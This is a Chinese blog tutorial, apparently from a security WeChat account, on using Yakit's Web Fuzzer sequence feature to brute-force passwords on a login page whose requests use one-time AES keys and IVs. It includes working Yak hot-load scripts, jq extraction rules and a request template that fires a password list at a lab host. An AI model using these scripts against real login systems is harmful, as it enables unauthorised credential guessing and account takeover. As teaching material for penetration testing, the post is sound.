序列
什么是Web Fuzzer 序列?Web Fuzzer 序列就是将多个 Web Fuzzer 节点(类似于burpsuite repeater模块的请求包)串联起来,实现更复杂的逻辑与功能。例如我们需要先进行登录,然后再进行其他操作,这时候我们就可以使用 Web Fuzzer 序列功能。
本篇文章,通过使用Web Fuzzer 序列
,解决数据包随机AES key和iv的问题。适用于后端返回key和iv的场合,不管是多次使用还是一次使用都可以。
官方资料
-
• 序列前置知识之高级配置 -
• Web Fuzzer序列基础 -
• 高级配置
在什么状况使用
以下图的AES服务端获取Key
举例,加密流程如下:
-
1. 发送请求包,请求key和iv,其中key和iv与PHPSESSID绑定 -
2. 浏览器进行AES加密 -
3. 发送加密后的数据到后端 -
这里的key和iv与PHPSESSID绑定,也就是说我们一直用同样的cookie就能像之前文章的那样,进行fuzzer。这样比较简单,我们讨论更进一步的情况。
假设key和iv都是一次性的,那么我们要对账号密码进行爆破的时候,就需要从数据包1中获取cookie、key和iv,然后加密后从数据包2发送过去。完成这个步骤需要两个数据包,这时,我们就可以使用序列。
序列使用
步骤如下:
-
1. 点击序列,将 4和8 放入序列组合中 -
2. step0 放入 4 -
3. step1 放入 8
Cookie: {{param(set_cookie)}}
查看history中的插件流量,能够看到此处变量已经改变
教程:https://jqlang.github.io/jq/manual/
.["aes_key"].["aes_iv"]
提取结果添加条件,提取两个
不要将两个放在同一个变量下(比如data_0),这样操作会让yakit将data_0看成是一个可fuzzer的对象,你也不能按照你所想的把这些值提取出来。
点击调试执行,查看结果
{{param(data_0)}}{{param(data_1)}}
可以看到成功提取了
beforeRequest = func(https, originReq, req) { // 我们可以将请求进行一定的修改 postParams = poc.GetAllHTTPPacketPostParams(req /*type: []byte*/) aes_key = postParams["key"] aes_iv = postParams["iv"] req_result = poc.DeleteHTTPPacketPostParam(req /*type: []byte*/, "key" /*type: string*/) req_result = poc.DeleteHTTPPacketPostParam(req_result /*type: []byte*/, "iv" /*type: string*/) // 将修改后的请求返回 return []byte(req_result)}
配置加解密
请求包
POST /encrypt/aesserver.php HTTP/1.1Host: 192.168.56.32:82Accept-Language: zh-CN,zh;q=0.9Content-Type: application/jsonReferer: http://192.168.56.32:82/Accept-Encoding: gzip, deflateCookie: {{param(set_cookie)}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Origin: http://192.168.56.32:82Accept: */*Content-Length: 84{"encryptedData":"{{payload(pass_top25)}}","key":"{{param(data_0)}}","iv":"{{param(data_1)}}"}
热加载
// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte// https 请求是否为https请求// originReq 原始请求// req 请求beforeRequest = func(https, originReq, req) { postParams = poc.ExtractPostParams(req)~ aes_key = postParams["key"] aes_iv = postParams["iv"] encryptedData = postParams["encryptedData"] key = codec.DecodeBase64(aes_key)~ iv = codec.DecodeBase64(aes_iv)~ data = {"username":"admin","password":encryptedData} params_en = codec.AESCBCEncryptWithPKCS7Padding(key /*type: []byte*/, json.dumps(data), iv /*type: []byte*/)~ data2 = codec.EncodeBase64(params_en) req = poc.ReplaceHTTPPacketJsonBody(req, {"encryptedData":data2}) // 修改请求体内容为{"a":"b"} // 将修改后的请求返回 return []byte(req)}
这里用了内置的AES加密工具,当然,如果遇到魔改的AES,可以参考之前写的jsRpc调用,通过浏览器进行加密。
结果展示
成功fuzz
参考资料
-
• yakit官方教程
欢迎关注~
原文始发于微信公众号(进击的HACK):通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论